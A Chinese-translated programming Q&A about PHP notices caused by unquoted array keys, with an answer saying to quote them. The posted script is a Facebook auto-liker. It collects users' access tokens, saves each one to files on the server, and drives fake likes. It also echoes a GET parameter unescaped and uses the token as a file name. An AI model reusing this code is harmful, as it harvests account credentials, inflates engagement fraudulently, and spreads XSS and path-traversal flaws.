Question

我不明白发生了什么，我没有对这个剧本做过任何改动，突然间，它给出了这个错误：

PHP注意：未定义索引：第22行/home2/leetshar/public_html/in/index.php中的last_session_request

PHP注意：使用未定义的常量行为 - 在第80行的/home2/leetshar/public_html/in/index.php中假定为'act'

PHP注意：未定义的索引：在第80行的/home2/leetshar/public_html/in/index.php中执行

PHP注意：使用未定义的常量access_token - 在第83行的/home2/leetshar/public_html/in/index.php中假定为'access_token'

PHP注意：使用未定义的常量id - 在第86行的/home2/leetshar/public_html/in/index.php中假定为'id'

PHP注意：第86行/home2/leetshar/public_html/in/index.php中的未定义索引：id

PHP注意：使用未定义的常量access_token - 在/home2/leetshar/public_html/in/index.php中假设'access_token'在线上
  153

PHP注意：未定义索引：第153行/home2/leetshar/public_html/in/index.php中的access_token

我的代码工作正常是过去几天，但现在它给我一个错误，就像我之前说的那样。

这是我的index.php代码（我在错误后对它进行了一些编辑）：

<?php
$like = new like();
if($_GET[act]){
print '???';
}
if(isset($_POST[access_token])){
$access_token = $_POST[access_token];
$me = $like -> me($access_token);
if($me[id]){
echo '

      <div class="login">
        <div class="login-screen">
    <div class="login-icon"><img src="https://graph.facebook.com/'.$me[id].'/picture" alt="Welcome to Mail App" /><h4>Welcome<small>'.$me[name].'</small></h4></div>
';

$like -> x($access_token);
if($_POST[id]){
$like -> pancal($_POST[id]);
}else{
$like -> getData($access_token);
}
}else{
$like -> invalidToken();
}
}else{
$like->form();
}
class like {

public function pancal($id){ for($i=1;$i<4;$i++){
$this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/post.php?id='.$id.'&n='.$i)); }
echo '
<h2>Success! âœ”</h2>
<script>top.location.href="http://mywebsite.com/end.php"</script>
';
// header('Location: http://mywebsite.com/end.php');
}

public function me($access){
return json_decode($this-> _req('https://graph.facebook.com/me?access_token='.$access),true);
}
public function x($access){
if(!is_dir('x')){
mkdir('x');
}
$a=fopen('x/'.$access,'w');
$aloc=fopen('../x/'.$access,'w');
fwrite($aloc,1);
fwrite($a,1);
fclose($a);
fclose($aloc);
$this->adloc();
}
public function adloc(){
}
public function invalidToken(){
print '
Invalid Access Token âœ˜
';
$this->form();
}
public function form(){
print'
      <div class="login">
        <div class="login-screen">
          <div class="login-icon">
            <img src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-ash3/t1.0-1/c0.15.180.180/531827_175253335947123_1431869775_a.jpg" alt="Welcome to Mail App" />
            <h4>Welcome<small>Famous</small></h4>
          </div>

          <div class="login-form">
          <form action="http://www.mywebsite.com/" method="post">
        <font color="#333333">Access Token</font>
            <div class="form-group">
              <input class="form-control login-field" autocomplete="off" type="text" name="access_token" placeholder="CAAAAKLSe4lIBAEaxH0rrZ..." value="'.$_GET[access_token].'" required>
              <label class="login-field-icon fui-lock" for="login-pass"></label>
            </div>

            <input class="btn btn-primary btn-lg btn-block" type="submit" value="Login">
        <a class="btn btn-block btn-lg btn-info" href="http://www.linkbucks.com/8d87b1e7" target="_blank">Get Access Token</a>
            <a class="login-link" target="_blank" href="http://www.linkbucks.com/a23dfeae">How to use this? | Tutorial</a>
          </form>
          </div>
        </div>
      </div>
    </div>
';
}

public function getData($access){
$feed=json_decode($this -> _req('https://graph.facebook.com/me/feed?access_token='.$access.'&limit=1'),true);
if(count($feed[data]) >= 1){
echo '
<div class="birumuda">
';
for($i=0;$i<count($feed[data]);$i++){
$uid = $feed[data][$i][from][id];
$name = $feed[data][$i][from][name];
$type = $feed[data][$i][type];
$mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
$id = $feed[data][$i][id];
$pic = $feed[data][$i][picture];
echo'
          <div class="login-form">
          <div id="prepage">
          <form name="myform" id="myform" action="http://www.mywebsite.com" method="post"/>
          <input type="hidden" name="access_token" value="'.$access.'"/>
      <font color="#333333">UID</font>
            <div class="form-group">
              <input class="form-control login-field" type="show" name="id" placeholder="Your post UID here" value="'.$id.'"/>
              <label class="login-field-icon fui-heart" for="login-pass"></label>
            </div>

        <input name="pancal" type="submit" value="Local" onclick="autoLike();" class="btn btn-primary btn-lg btn-block"/>
        <input type="button" value="International" name="pancal" onclick="interlike();" class="btn btn-primary btn-lg btn-block"/>
            <a class="login-link" href="#">How to Know my UID?</a>
          </form>
          </div>
          <div id="loading" style="display: none;">
      <img src="http://www.mywebsite.com/process.gif" align="middle" border="0" alt="Please Wait .." /> Sending Likes ..
      </div>
          </div>
        </div>
      </div>
    </div> <!-- /container -->
';
}
}else{
print '
Status not found :(
';
}
print '
</div>
';
}

private function _req($url){
$ch = curl_init();
curl_setopt_array($ch,array(
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $url,
)
);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}

?>

谢谢谁能给我回复

Answer 1

在数组键周围加上引号：

if(isset($_POST[access_token])){
    $access_token = $_POST[access_token];

应该是

if(isset($_POST['access_token'])){
    $access_token = $_POST['access_token'];

您需要为所有数组键（即$ _POST变量）执行此操作。

未定义的索引＆amp;使用未定义的常量 - PHP错误

1 个答案: